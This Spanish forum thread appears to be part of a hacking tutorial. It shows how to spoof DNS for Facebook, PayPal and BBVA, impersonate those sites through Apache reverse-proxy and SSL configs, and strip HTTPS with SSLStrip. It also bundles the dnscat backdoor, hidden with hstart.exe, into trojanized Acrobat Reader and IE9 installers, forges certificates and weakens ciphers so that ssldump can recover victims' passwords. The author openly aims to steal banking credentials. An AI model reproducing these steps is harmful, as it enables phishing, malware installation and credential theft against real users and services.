■Cross-site scripting over DNS (dnsxss)
■DNS sniffer (dnslogger)
■DNS tester (dnstest)

De todos ellos usaremos dnscat y dnslogger, aunque no dejéis escapar ni practicar con dnsxxs ¡!!!

Dnscat es una puerta trasera… como lo haría netcat pero por el puerto 53 de UDP y esto trae como mayor ventaja que los cortafuegos de la red víctima van a dejar pasar ese tráfico, afirmaría que al 100%. Utilizaremos dnscat cuando queramos “colar” el backdoor a la víctima, y tiene otra ventaja… los antivirus!!! No lo reconocen como “peligroso”, os dejo un pantallazo del escaneo con virustotal:


 
Dnslogger es un esniffer dns con algo mas… además de husmear las conexiones dns que recibimos es capaz de enviar una respuesta autoritativa al cliente que o solicite… de ese modo no necesitamos un servidor dns corriendo en nuestra máquina, dnslogger lo hará por nosotros.

Funciona “parecido” a dnspoof sólo que responde a todas las peticiones dns con la ip que le digamos, esto tiene sus ventajas y sus inconvenientes… el principal problema es que si queremos hacer spoof de unos cuantos dominios y no de todos pues dnslogger no nos lo permite y eso es lo que nosotros queremos hacer…

Entonces?? Por qué elegir este y no otros como dnspoof?? Pues la principal razón es porque con todos los otros que he probado no se obtuvieron los resultados deseados… casi todas las herramientas de spoofing dns se basan en ataques MiTM y funcionan muy bien en red local, pero cuando los sacas de paseo a Internet… bueno, no iban del todo bien.

Así que a grandes males, grandes remedios… Modifiqué el código fuente de dnslogger.c de tal forma que admita como parámetro un archivo con la lista de host o de dominios a falsear.

De esa modificación salen dos archivos nuevos que no existen obviamente en la suite original, estos son:

dnslogger_host y dnslogger_dom

ambos utilizan un archivo que se pasa como parámetro por consola –F archivodehost

y leerá dicho archivo para determinar qué debe responder y qué no debe responder.

Por qué dos?? Qué diferencia existe entre dnslogger_host y dnslogger_dom ??

Pues el primero falsea “exactamente” lo que le indique el archivo mientras que el otro falsea todo el dominio, es decir… supongamos que el archivo contiene esto:

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

dnslogger_host sólo suplantará esos y exactamente esos
dnslogger_dom falseará todo lo que termine en facebook.com y/o paypal.com

Es decir, si el cliente vícitma solicita que le resuelvan la dirección login.facebook.com pues dnslogger_host no lo hará puesto que no está en la lista mientras que dnslogger_dom sí responderá.

Estarás preguntando… hombre… parece mejor dnslogger_dom… es como “mas completo” y no hará falta especificar cada máquina de un mismo dominio….

Pues sí, es cierto, eso parece… pero… en la práctica puede (hay) algún que otro problema… por ejemplo, aunque lo veremos mas adelante, paypal utiliza varios “métodos” de control para que no se “redirijan” sus contenidos… estos métodos pueden ser url estáticas, examinar la cabecera referrer, cookies,  etc.. pues bueno, al caso, si falseamos todo el dominio paypal.com y lo hacemos pasar por el proxyreverse de apache nos encontraremos que “no se ve bien” en el navegador del cliente y obviamente desconfiará y/o no seguirá con la sesión.

Se podría solucionar echando mano de mod_rewrite, mod_replace, mod_http_headers, etc en nuestro apache… pero… jooooo, es una lata.

Si por el contrario sólo falseamos algunas de las máquinas del dominio paypal.com todo funcionará a la perfección.

Y también ocurre en el caso contrario… por ejemplo, bbva.es utiliza un montón de “otras” máquinas además de You are not allowed to view links. Register or Login pero no tiene “ese mismo” control del que hablábamos antes… y será mas cómodo falsear todo el dominio que ir colocando máquina por máquina… al menos será mas rápido.

Vamos que como todo en la vida, no hay “aplicación mágica universal” que sirve para todo… por eso los dos.

Podéis descargar la versión “modificada” de nbtools (que incluyen estos dos nuevos programas dnslogger_host.c y dnslogger_dom.c) desde:

You are not allowed to view links. Register or Login

No voy a explicar el contenido de las modificaciones… para eso ya tenéis el código fuente… sólo tenéis que buscar Vic_Thor dentro del código fuente de esos dos archivos y os irán saliendo las partes añadidas/retocadas.

Lógicamente también he modificado el archivo Makefile para que se compilen los dos añadidos y así nadie tenga problemas a la hora de compilarlo y ejecutarlo…

Lo que no está hecho son las modificaciones para que corran en Windows… si alguno quiere hacerlo….

Ahora, antes de seguir vamos a ver cómo funciona dnslogger y “nuestras variantes” dnslogger_host y dnslogger_dom, el primer vídeo

VIDEO 01 – Configuración atacante y dnslogger

You are not allowed to view links. Register or Login

Después habilitamos el reenvio: echo 1 > /proc/sys/net/ipv4/ip_forward

VIDEO 02 – Ejecución de nbtools -dnslogger (original)

You are not allowed to view links. Register or Login

Y si vemos como está la chaé dns del cliente...

VIDEO 02b –Reolución DNS del cliente

You are not allowed to view links. Register or Login

Como hemos visto en el vídeo se resuelven TODAS las peticiones DNS de la víctima con la ip designada en dnslogger (-A 86.32.4.51) ahora veamos como funcionan las “modificaciones”, necesitaremos un archivo que guarde los host a falsear y veremos que sólo estos se responderán con la ip del atacante, el resto los resolverá el DNS secundario de la víctima y le entregará las ip’s “buenas”.

VIDEO 03 – Funcionamiento de dnslogger_host

You are not allowed to view links. Register or Login

También observa en el vídeo anterior que You are not allowed to view links. Register or Login se resuelve “falseado” mientras que login.facebook.com se resuelve con su direccióm IP real!!! Esto es porque usamos dnslogger_host y login.facebook.com no aparece en la lista de host a falsificar.

VIDEO 04– Funcionamiento de dnslogger_dom

La sintaxis es idéntica al anterior, solo que tomará el dominio en lugar de la máquina, por tanto, falseará login.facebook.com que antes no se hacía.

El código del programa escribe un archivo en /var/tmp un archivo llamado dominios.dom si no existe ese directorio créalo antes y dale permisos de escritura.

You are not allowed to view links. Register or Login

Bueno, ya tenemos nuestro “dns” falso… sin embargo esto no quiere decir que podamos mostrar las páginas de facebook, de paypal, etc.. sólo resolvemos el nombre con la ip indicada, si el cliente en lugar de hacer un ping solicita la página web pues nada, de nada…

VIDEO 05– Las páginas correspondientes a los host falseados no se muestran

You are not allowed to view links. Register or Login

Así que ahora debemos usar nuestro “famoso” proxyreverse con apache… pero si lo hacemos tal y como lo vimos en la parte III resultará que TODAS las peticiones del cliente de los hosts falseados se van a You are not allowed to view links. Register or Login y eso no está bien… pero vamos a ver un vídeo para que (ya de paso) sepamos como ir configurando apache.

VIDEO 06– Reverse Proxy funciona pero todos los hosts falsificados se van a la dirección de proxypass y proxyreverse.

You are not allowed to view links. Register or Login

Como hemos visto los host o dominios que no están en la lista se resuelven y muestran las páginas adecuadas mientras que aquellos hosts/dominios que están en la lista pasan por el Proxy… pero siempre se van a Wadalbertia!!! Y no a la web adecuada.

Para solucionar este pequeño problemilla, tenemos que usar VirtualHost en Apache tal y como ya dije en el hilo de esa parte tercera… si queremos responder “adecuadamente” tendremos que incluir tantos VirtualHost como máquinas que incluimos en el archivo falsear de ese modo se enviarán correctamente.

Tenemos que incluir como VirtualHost las máquinas que nos interesen… así mas o menos:

Código: You are not allowed to view links. Register or Login
NameVirtualHost *:80

### Para WADALBERTIA

Listen 0.0.0.0:80
<VirtualHost  *:80>
    ServerName http://www.wadalbertia.org
ServerAlias http://www.wadalbertia.org
ProxyPreserveHost On
ProxyRequests Off
<Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
ProxyPass / http://www.wadalbertia.org/
    ProxyPassReverse / http://www.wadalbertia.org/
<Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>

Código: You are not allowed to view links. Register or Login
## Para ADOBE

<VirtualHost  *:80>
      ServerName http://www.adobe.com
ServerAlias http://www.adobe.com
ProxyPreserveHost On
ProxyRequests Off
<Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
ProxyPass / http://www.adobe.com/
      ProxyPassReverse / http://www.adobe.com/
    <Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>

Código: You are not allowed to view links. Register or Login
## Para FACEBOOK

<VirtualHost *:80>
    ServerName http://www.facebook.com
ServerAlias http://www.facebook.com
ProxyPreserveHost On
ProxyRequests Off
<Proxy *>
        Order deny,allow
        Allow from all
    </Proxy>
    ProxyPass / http://www.facebook.com/
    ProxyPassReverse / http://www.facebook.com/
<Location />
        Order allow,deny
        Allow from all
    </Location>
</VirtualHost>

Y así sucesivamente con todos los que queramos… lo vemos:

VIDEO 07 Reverse Proxy y VirtualHost

You are not allowed to view links. Register or Login

Advierte en el anterior vídeo que aquellos hosts que se falsean (paypal.es, bbva.es, etc.) y que NO APARECEN en las directivas VirtualHost de Apache muestran lo que tiene el VirtualHost por defecto, por eso es conveniente incluir tantos VirtualHost en apache como máquinas que figuren en el archivo falsear cuando lanzamos dnslogger_host o dnslogger_dom
Ahora bien, ¿qué pasará cuando accedemos a una web por https?

Vamos a añadir la máquina You are not allowed to view links. Register or Login y su virtualhost correspondiente… también meteremos a You are not allowed to view links. Register or Login y su virtualhost…

VIDEO 08 Reverse Proxy,VirtualHost y SSL

You are not allowed to view links. Register or Login

Pues lo que se esperaba… para poder acceder tanto paypal.com como bbva.es es necesario hacerlo por https no por http y como no tenemos VirtualHost para los puertos 443 (ni otras muchas cosas) configurados… pues no podemos (de momento)

Vamos a hacer un alto en esto de Apache y juguemos con otra herramienta…

A ver, por el momento ya somos capaces de hacernos pasar por el dominio o máquina que se nos antoje de cara a la red victima…

¿Y si hacemos un MitM con SSLStrip??

Jejeje, mala sombra que tenemos no??

Pues sí, funcionará sin problemas… es mas… no vamos ni a necesitar apache corriendo porque se va a encargar SSLStrip de ello… tan solo con tener el reenvío activado (que ya está desde hace muuuchoooo) y lanzar SSLStrip, bastará!!!

VIDEO 09 SSLStrip con dnslogger_host o dnslogger_dom

You are not allowed to view links. Register or Login

Fácil, no??? Pues como "práctica adicional" os invito a que intentéis lo mismo (por ejemplo) con:

You are not allowed to view links. Register or Login o You are not allowed to view links. Register or Login

¿Qué pasa?

VIDEO 10 SSLStrip no siempre es la “solución” por sí solo…

You are not allowed to view links. Register or Login

Y si el “mozo” teclea directamente You are not allowed to view links. Register or Login ¿??

Pues eso, que entonces SSLStrip no se “percata” puesto que la conexión va directamente contra el puerto 443 y no contra el 80, por todo ello y por mas otras cosas necesitaremos nuestro apache :D

Vamos a realizar otro “alto en el camino”

Porque esto que vamos a comentar ahora igual lo necesitamos mas adelante (no todo, pero casi todo)

Recordáis que al principio del hilo hablaba acerca de dnscat???

Pues llegó el momento!!! Vamos a instalarle dnscat a la víctima, bueno, realmente podríamos instalarle cualquier cosa pero como estamos con esto….

La idea es que el “infeliz” internauta se descargue y EJECUTE el troyano, ya… estarás pensando que no lo hará…. Pero…. Y si le obligamos a que descargue lo que descargue además de “eso” que él quiere bajarse a su máquina le colamos “lo nuestro”???

Vamos a realizar “dos prácticas” una de pruebas (para entender lo que tenemos entre manos) y otra un poco más elaborada (controlada y fijando como objetivo, por ejemplo Acrobat Reader y a windowsupdate)

En  este próximo vídeo vamos a controlar “sus descargas” de tal forma que si accede a cualquiera de los dominios “falseados” (los que existan en el archivo falsear) siempre se descargue… por ejemplo… skype!!!

Es decir… el usuario victima navega hacia la web de adobe para descargar de You are not allowed to view links. Register or Login (que por cierto os lo recomiendo para administrar remotamente equipos) o  hacia donde sea… siempre se descargue el archivo winrar.exe

Para no hacerlo muy largo, controlaremos solo las descargas que realice la victima desde showmypc.com y cualquier aplicación de sourceforge.net

Y en esta ocasión, ya que pueden cambiar los hosts de descarga… usaremos dnslogger_dom en lugar de dnslogger_host. De este modo si por ejemplo para descargar showmypc unas veces se hace desde d1.showmypc.com otras desde download3.showmypc.com, etc… no necesitaremos “chiquicientas” máquinas en Virtualhost…

VIDEO 11 Controlando las descargas (prueba 1)

You are not allowed to view links. Register or Login

La reglas de mod_rewrite aplicadas son muy simples:

Código: You are not allowed to view links. Register or Login
       RewriteEngine On
RewriteRule ^(.+)\.extensión_que_se_reemplazará$ http://nueva_dirección_a_escribir/ruta/archivo.extensión
Y otra práctica mas… para vosotros, calro...

¿qué tal si probáis esto mismo con?:

You are not allowed to view links. Register or Login y/o con downloads.winrar.es

Como veréis “tal y como” se creó la regla de mod_rewrite con esta no funciona… así que a estudiar y a postear el código necesario para que cuando se quieran descargar winrar.exe se “redirija” a Skype.exe

Vale… vamos a “afinar” un poquito mas… al igual que los casos anteriores, nos centramos en una sola aplicación… seguimos con Acrobat Reader…

Vamos a “meter” el troyanito dnscat.exe “junto” con el paquete de Acrobat Reader con la esperanza de que nuestra víctima tenga la necesidad de descargarlo o podemos usar alguna de las actualizaciones de Windows Update… que esas seguro que se descargan con frecuencia … podemos usar como “conejillo de indias” al flamante Internet Explorer 9…

Pues a ello… para que esto sea real como la vida misma necesitamos una copia “limpia” tanto de IE9 como de la última verisón de Acrobat Reader… así que a descargarlos en un equipo de la red atacante…

Cuando los tengamos, los vamos a juntar con dnscat.exe (o con lo que mas rabia nos de) y como el usuario de lo descargó de la web oficial pues lo instalará tarde o temprano…

Una vez que esto se cumpla, también se copiarán los archivos y los ejecutará el paquete de instalación!!!

Cómo? Pues hombre, seguro que tienes mas de un joinner o empaquetador o generador de instalaciones… pero no los necesitas… XP incorpora una herramienta muy poco conocida que se llama iexpress.exe (que nos viene al dedo para esto)

Sin embargo hay “otro problema” dnscat.exe se ha de ejecutar desde la línea de comandos… y eso “canta” porque se nos queda la ventanita negra en la vícitma… y no es bueno… además, si la cierra se acaba el “invento”.

Lo solucionamos en un momentito… pero antes vamos a ver como funciona dnscat suponiendo que ya se lo instalamos y ejecutamos…

VIDEO 12 Funcionamiento de dnscat.exe para Windows

You are not allowed to view links. Register or Login

Bien… como hemos visto con dnscat obtenemos un shell de la víctima… pero la dichosa pantallita delata a dnscat.

Lo solucionamos con “otra” herramienta… se llama Hidden Start (hstart.exe) y la podemos descargar desde:

You are not allowed to view links. Register or Login

Asumiendo que hemos conseguido “subir” a la victima dnscat.exe y hstart.exe, la cosa cambia… así de sencillo:

VIDEO 13 Funcionamiento de dnscat.exe y hstart.exe

You are not allowed to view links. Register or Login

Ahora sólo tendríamos que ser “creativos” con los nombres dnscat y/o hstart para que se confundan con procesos de Windows o similar… ya sabes ;)

Llega la hora de “empaquetarlo” todo… como ya adelanté en Windows XP existe un programa llamado iexpress.exe que es “muy cómodo”… para el engaño necesitaremos la aplicación (en nuestro ejemplo Acrobat reader y/o la beta de Internet Explorer 9), el archivo .bat (s.bat) que ejecutará lo visto antes, hstart.exe y dnscat.exe.

Todo eso lo empaquetaremos con iexpress.exe y mediante la técnica del mod_rewrite vista antes (Vídeo 11) cuando nuestro infortunado cliente se descargue el Acrobat o IE9 además de eso que él quiere, se llevará nuestras “cosas” y si lo ejecuta, se instalará y ya está!!!

Veamos el vídeo de cómo hacer “el paquete” cabe destacar que si no usas XP (2003, 2008, W7, Vista…) necesitarás iexpress.exe, makecab.exe y  wextract.exe sólo los tienes que copiar de un XP y punto.

VIDEO 14 Empaquetando herramientas.

You are not allowed to view links. Register or Login

Ya tenemos los programas “originales” junto con nuestro dnscat… si además usamos Reshack para cambiarles los iconos… pues mejor que mejor… ;)

Cuando el usuario “visite” la web de adobe y se descargue la última verisón de Acrobat o si le da por probar o instalar IE9… pues… eso…

En el siguiente vídeo se muestra eso mismo… y además, como ya comente, utilicé ResHack para poner los iconos “buenos” de cada aplicación… así cuando se los descargue será de “mas realismo”

Guardamos en el directorio /var/www de la máquina atacante los archivos "modificados" para que obligar al cliente a que los descargue...

(el directorio /var/www/ es el DocumentRoot de los VirtualHost de apache que crearemos para esta ocasión)

VIDEO 15 Fin de la jugada…

You are not allowed to view links. Register or Login

Bien, esta Parte IV está siendo mas extensa de lo que esperaba… así que la vamos a dividirla… hasta aquí este primer avance… nos queda atacar a SSL con nuestro ReverseProxy, certificados “a medida” y demás… por el momento, suficiente.

PD: Los vídeos los podéis descargar de:

You are not allowed to view links. Register or Login

Están comprimidos en un rar y la contrraseña para descomprimir es: El_Lider_DWFP

Autor: Vic_Thor
Fuente: You are not allowed to view links. Register or Login
« Última modificación: Julio 28, 2011, 05:04:11 am por soez »

Desconectado soez

  • Yo vivo en CPH
  • ***
  • Mensajes: 1283
  • Sexo: Masculino
    • Ver Perfil
Re:Y tras el router... Qué? por Vic_Thor
« Respuesta #4 en: Julio 27, 2011, 06:19:29 pm »
Terminemos esta cuarta parte….

Nos toca “lidiar” con SSL. Para ello usaremos alguna de las técnicas que ya hemos visto, crearemos los certificados necesarios y usaremos SSLDump para descifrar el tráfico SSL.

Primero tenemos que aclarar algunas cuestiones., la primera en cuanto a lo que acabo de decir acerca de SSLDump.

1.- SSLDump es un esnifer “especializado” en el tráfico SSL

Ccaptura, analiza y disecciona las comunicaciones. También es capaz de convertir en texto plano el tráfico cifrado mediante SSL, con LIMITACIONES, por que dicho así y si fuese “así de simple” sería chollo y esto de las comunicaciones seguras sería una idiotez.

Para conseguir descifrar el tráfico SSL, ssldump necesita la llave privada, es decir, que si nos ponemos a escuchar el tráfico SSL sin mas lo único que conseguiremos es capturar el tráfico cifrado como lo haría cualquier esnifer.

De hecho no necesitaríamos a ssldump, con whireshark (y otros) también obtendremos los mismos resultados y si poseemos la clave, pues tendremos el texto plano de las comunicaciones como si fuese http y no https.

Por otro lado, ssldump (y otros) aun teniendo las llaves, certificados, firmas y todo lo necesario no siempre puede revertir a texto plano las comunicaciones https, por ejemplo los cifrados “efímeros”, DH, RSA_EXPORT  etc… no puede descifrarlos, obviamente tampoco podrá hacerlo como ya se ha dicho sin la llave privada y/o sin la contraseña de la clave privada en caso de que exista.

Es por ello que cuando generemos nuestros certificados y al configurar apache + SSL debemos utilizar cifrados que sí permitan a ssldump resolver el tráfico, además, nos interesará que no sea “muy fuerte” el nivel de cifrado… así trabajará menos.

Más adelante veremos en vídeos cómo funciona esto de ssldump….

2.- OPENSSL y nuestros certificados

Para crear el/los certificados usaremos openssl (de la forma mas simple) será mas o menos así:

Código: You are not allowed to view links. Register or Login
openssl  req –x509 –nodes –neykey rsa:512 –keyout serverkey.pem –out servercert.pem
Tras completar los campos que nos aparecerán para generar el certificado se crearán dos archivos:
    serverkey.pem que será la llave para el certificado

    servercert.pem que será el certificado que el cliente debería tener instalado o aceptarlo para poder acceder a nuestro servidor por https[/list]
    Despues tenemos que escribir la clave RSA que usamos (-newkey rsa:512) en el fichero serverkey.pem, así:

    Código: You are not allowed to view links. Register or Login
    openssl rsa –in serverkey.pem –ouy serverkey.pem
    y con esto suficiente para lo que tenemos entre manos, el certificado y la llave privada que “meteremos” en apache.

    Nos vamos a crear tantos certificados como sitios que queramos falsear, en nuestro ejemplo serán:

    Código: You are not allowed to view links. Register or Login
    www.paypal.com
    login.facebook.com
    www.bbva.es

    Vídeo 16: Certificados y openssl

    You are not allowed to view links. Register or Login

    3.- Apache.

    Tenemos que configurar nuestro servidor web para que acepte las comunicaciones ssl (mod_ssl) esto ya lo tenemos desde el principio (aunque no lo hemos usado) cuando copiamos los módulos “disponibles” a los módulos “habilitados”, revisa el vídeo 06 de esta misma parte para recordarlo.

    De igual modo hay que crear los VirtualHost necesarios (y con sus certificados correspondientes) dentro de apache, esto sería un ejemplo:

    Código: You are not allowed to view links. Register or Login
    NameVirtualHost *:443

    <VirtualHost *:443>
    ServerName www.paypal.com
    ServerAlias www.paypal.com
    SSLEngine on
    SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
    SSLCertificateFile /etc/apache2/CA/servercert.pem
      SSLCertificateKeyFile /etc/apache2/CA/serverkey.pem
      SSLVerifyClient none
    SSLProxyEngine on
    …..
    …..

    SSLEngine on “habilita” SSL para este virtual host.

    SSLCipherSuite indica a apache el conjunto de cifrados que usará… observa que no se incluyen DH, no RSA_EXPORT, ni otros que impedirían a ssldump descifrar el tráfico.

    SSLCertificateFile es la ruta y nombre del archivo del certificado de usuario que generamos anteriormente con openssl

    SSLCertificateKeyFile es la ruta y nombre de archivo de la llave privada que también creamos con openssl.

    SSLVerifyClient none para que nuestro servidor NO le solicite el certificado al cliente que se conecte… de otro modo (require en lugar de none) quien visite nuestro sitio debería ya tener el certificado instalado… y eso en estos momentos no interesa…

    SSLProxyEngine activa el Proxy SSL, esto es, como también usaremos ReverseProxy pues necesitaremos esta directiva activada…

    Vídeo 17: Preparando Apache con VirtualHost + SSL

    You are not allowed to view links. Register or Login

    Mas sobre apache… SSL y TLS
    En principio cuando se utiliza SSL en apache NO se puede usar mas de un VirtualHost con la misma IP y el mismo puerto, bueno sí se pueden usar… pero todos compartirán el mismo certificado, pongamos un ejemplo:

    Código: You are not allowed to view links. Register or Login
    <VirtualHost  1.1.1.1:443>
    ServerName www.paypal.com
    ServerAlias www.paypal.com
    SSLEngine on
    SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
    SSLCertificateFile /etc/apache2/CA/certificado-paypal.pem
      SSLCertificateKeyFile /etc/apache2/CA/paypal-key.pem
    …..
    …..

    <VirtualHost  1.1.1.1:443>
    ServerName login.facebook.com
    ServerAlias login.facebook.com
    SSLEngine on
    SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
    SSLCertificateFile /etc/apache2/CA/certificado-facebook.pem
      SSLCertificateKeyFile /etc/apache2/CA/facebook-key.pem
    ....
    ...
    <VirtualHost  1.1.1.1:443>
    ServerName www.bbva.es
    ServerAlias www.bbva.es
    SSLEngine on
    SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
    SSLCertificateFile /etc/apache2/CA/certificado-bbva.pem
      SSLCertificateKeyFile /etc/apache2/CA/bbva-key.pem
    .... .
    ....

    Y así todos los que fuesen necesarios...

    Bien, pues aunque cada uno dispone de su ServerName correspondiente y de sus certificados “particulares” correspondientes, en la práctica no funcionará…

    Y no funcionará porque como todo el tráfico llega cifrado desde el cliente, nuestro servidor no puede saber a qué dominio pertenece, realmente funciona “a medias” gracias a TLS, pero resulta que para todos los virtualhost se aplica el certificado de You are not allowed to view links. Register or Login (que es el primero de la lista).

    Si la definición de cada virtual host usásemos

    Código: You are not allowed to view links. Register or Login
    1.1.1.1:443 para www.paypal.com
    1.1.1.2:443 para login.facebook.com
    1.1.1.3:443 para www.bbva.es

    Esto si funcionaría y se aplicarían los certificados asociados… pero claro… si sólo tenemos una IP pública… pues como que no podríamos…

    Otra forma de solventar el problemilla sería cambiar el puerto… esto es, si nuestra ip pública fuese 1.1.1.1 en cada virtualhost podríamos usar:

    Código: You are not allowed to view links. Register or Login
    1.1.1.1:443 para www.paypal.com
    1.1.1.1:444 para login.facebook.com
    1.1.1.1:445 para www.bbva.es

    Pero claro... no Le vamos a decir a nuestras “victimas”:

    “oye!!, como te voy a birlar la contraseña, cuando accedas al banco… escribe: You are not allowed to view links. Register or Login porque sino no puedo hacerlo!!!”

    Otra posibilidad sería basar los VirtualHost en nombres y no en IP’s… esto es,

    Código: You are not allowed to view links. Register or Login
    <VirtualHost  www.paypal.com:443>
    ServerName www.paypal.com
    ServerAlias www.paypal.com
    SSLEngine on
    SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
    SSLCertificateFile /etc/apache2/CA/certificado-paypal.pem
      SSLCertificateKeyFile /etc/apache2/CA/paypal-key.pem
    …..
    …..

    <VirtualHost  login.facebook.com:443>
    ServerName login.facebook.com
    ServerAlias login.facebook.com
    SSLEngine on
    SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
    SSLCertificateFile /etc/apache2/CA/certificado-facebook.pem
      SSLCertificateKeyFile /etc/apache2/CA/facebook-key.pem
    ....
    ...
    <VirtualHost  www.bbva.es:443>
    ServerName www.bbva.es
    ServerAlias www.bbva.es
    SSLEngine on
    SSLCipherSuite RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
    SSLCertificateFile /etc/apache2/CA/certificado-bbva.pem
      SSLCertificateKeyFile /etc/apache2/CA/bbva-key.pem
    .... .
    ....

    O sencillamente poner en todos: <VirtualHost  *:443> y dejar que sea ServerName y/o ServerAlias quien se las apañe con SSL… pero tampoco, nos pasa lo mismo… funcionar funciona pero el certificado tiene que ser para todos el mismo!!!

    Bueno, y qué problema hay que el certificado sea para todos el mismo??

    Pues que al cliente… aunque disponga de los TODOS los certificados instalados (los tres del ejemplo) cuando acceda a facebook o a bbva, le aparecerá siempre eso de que el certificado no es válido.

    Sólo cuando acceda a paypal no recibirá el aviso, lo vemos en el vídeo… asumimos que los certificados de todos los sitios están instalados en el cliente!!! Luego ya veremos como torear con esto,

    En este próximo vídeo suponemos que “de alguna forma” hemos sido capaces de subir los certificados al equipo víctima y por el “artículo 33” este hombre los instala… Veremos que no funciona como se esperaba aunque el “pobre infeliz” instala los tres certificados como Entidades emisoras de Confianza!!!!


    Vídeo 18: Problemas con los certificados y VirtualHost con SSL

    You are not allowed to view links. Register or Login

    Bien, soluciones???

    La solución es TLS, para solucionar este problema se publicó en 2006 el RFC 4366.

    TLS (desde entonces) dispone de “extensiones” a nivel cliente y servidor. Una de estas extensiones permite que al cliente en el establecimiento de la conexión (antes de comenzar el cifrado) y de este modo puede indicar el dominio al que desea acceder,

    Obviamente el navegador “cliente” debe soportar TLS y sus extensiones… cosa que hoy en día todos lo hacen.

    Y por parte del servidor necesitamos que admita el llamado SNI (Server Name Indication)

    Quien nos hace la magia es SNI. Para que esto funcione es necesario cumplir una serie de requisitos:

      * OpenSSL 0.9.8f o posterior con extensiones TLS (enable-tlsext)

      Ciertamente por varios sitios de Internet he leído que es a partir de la versión 0.9.8g, pero creo que a partir de la “f” nos vale.

      * Apache compilado con dicho OpenSSL… y no todos los “apache” nos sirven… también tengo entendido que hay que disponer de la versión 2.2.12 en adelante…

      *Que el Navegador del cliente utilice y "comprenda" las extensiones SNI, no es mucho problema en la actualidad, pero por ejemplo, XP incluso con IE8 NO ADMITE SNI, es decir, o usamos firefox (2.0 o posterior, por ejemplo) con XP o si queremos usar Internet Explorer... Windows Vista o posterior

    En el servidor apache, hay que añadir en la configuración esto:

    Código: You are not allowed to view links. Register or Login
    SSLStrictSNIVHostCheck on
    Vídeo 19 Comprobación de versiones apache y openssl

    You are not allowed to view links. Register or Login

    Otra solución, (si no queremos hacer trastadas), es usar mod_gnutls que desgraciadamente para nosotros no nos servirá puesto que no se lleva nada bien con mod_proxy… y carámba… es que necesitamos proxypass y proxypassreverse con SSL para nuestras “hazañas

    Podéis descargarlo desde:

    You are not allowed to view links. Register or Login

    Y podemos instalarlo (ya que estamos con Backtrack 4)

    Código: You are not allowed to view links. Register or Login
    apt-get update
    apt-get install libapache2-mod-gnutls
    a2enmod gnutls
    a2dismod ssl

    Y luego en los VirtualHost usaremos:

    Código: You are not allowed to view links. Register or Login
    <VirtualHost  *:443>
    ServerName www.paypal.com
    ServerAlias www.paypal.com
    gnuTLSEnable on
    gnuTLSPriorities NORMAL
    gnuTLSCertificateFile /etc/apache2/CA/certificado-paypal.pem
    gnuTLSCertificateKey /etc/apache2/CA/paypal-key.pem
    …..
    …..

    <VirtualHost  *:443>
    ServerName login.facebook.com
    ServerAlias login.facebook.com
    gnuTLSEnable on
    gnuTLSPriorities NORMAL
    gnuTLSCertificateFile /etc/apache2/CA/certificado-facebook.pem
    gnuTLSCertificateKey /etc/apache2/CA/facebook-key.pem
    ....
    ....
    También podéis ver una configuración en:

    You are not allowed to view links. Register or Login

    Pero como ya os dije antes… los resultados al utilizar ProxyPass no fueron del todo satisfactorios…

    En fin, que bien con SSLStrictSNIVHostCheck on en la versión que dispongamos o actualizando a apache a una versión 2.2.12 o posterior tendremos esto resuelto.

    Con SNI podremos disponer de varios virtualhost basados en nombre escuchando por el mismo puerto y por la misma IP, y con tantos certificados como queramos.

    Podéis encontrar mas información acerca de SNI en:

    You are not allowed to view links. Register or Login

    You are not allowed to view links. Register or Login

    Y para saber si el navegador soporta extensiones SNI en:

    You are not allowed to view links. Register or Login

    Ahora veamos que con SNI ya no tenemos todos esos problemas…

    Vídeo 20: Todo funciona… POR FIN!!!!

    You are not allowed to view links. Register or Login
     
    Desgraciadamente SNI no funciona con Internet Explorer bajo Windows XP, sólo Vista o posteriores…. Si se diese este caso, sólo deberíamos tener un único virtualhost por IP y puerto, y si “nos empeñamos” en disponer mas de un virtualhost y los clientes son Xp con Internet Explorer, pues un único certificado para todos…

    Y ahhh, SSLStrictSNIVHostCheck on no ha de existir si usamos mod_proxy porque “no lo entendería” el cliente.

    Recuerda que esto ocurre sólo en versiones de Windows anteriores a Vista y otra cosa, si utilizamos XP y como navegador Firefox (2.0 o posterior) todo funcionará como es debido.

    Pero como estamos con Windows 7… pues bueno, seguimos…

    Y ahora… vamos a probar que ssldump es capaz de descifrar la transmisión y obtener las contraseñas:

    Vídeo 21: Probando con SSLdump

    You are not allowed to view links. Register or Login

    Vale, pues después de todo este “tinglado”… ¿Y si el cliente no dispone de esos certificados ya instalados?

    Pues claro… le saldrá la ventanita de que tal sitio o tal otro no es de confianza…

    Y podemos hacer algo??

    Pues… poco, mas que engañarle… ser creativos con los nombres de certificados para que “se lo trague” y lo termine aceptando… pero podemos también usar la misma técnica que en el vídeo 15… empaquetar un “algo” para que cuando lo descargue e instale además de lo “suyo” se instalen nuestros certificados.

    Ya… ya sé que es difícil pero de eso vive casi todo el malware… y mira que hay equipos infectados por todas partes… o sea que seguramente no todos pero muchos caerán.

    Vamos a jugar con uno sólo… con facebook….

    Qué tal si configuramos nuestro apache para que cuando el “visitante” venga y se instale la barra de facebook para su navegador además de eso se instale el certificado “falso-bueno”, vamos el nuestro.

    Un problema “añadido” es que no conocemos con qué navegador nos visita el cliente, vale, lo podríamos averiguar pero no vamos a hacer esto eterno… jugamos primero con IExplorer y luego con Firefox, los demás… los investigáis por vuestra cuenta.

    Antes de poner manos a la obra, vamos a ver cómo podemos instalar estos (u otros) certificados desde la línea de comandos, para ello podemos usar certutil.exe que ya viene “de serie” en la instalación de Windows y también podemos usar certmgr.exe (ojo que no es certmgr.msc) que lo podemos obtener si nos bajamos la sdk de .net framework.

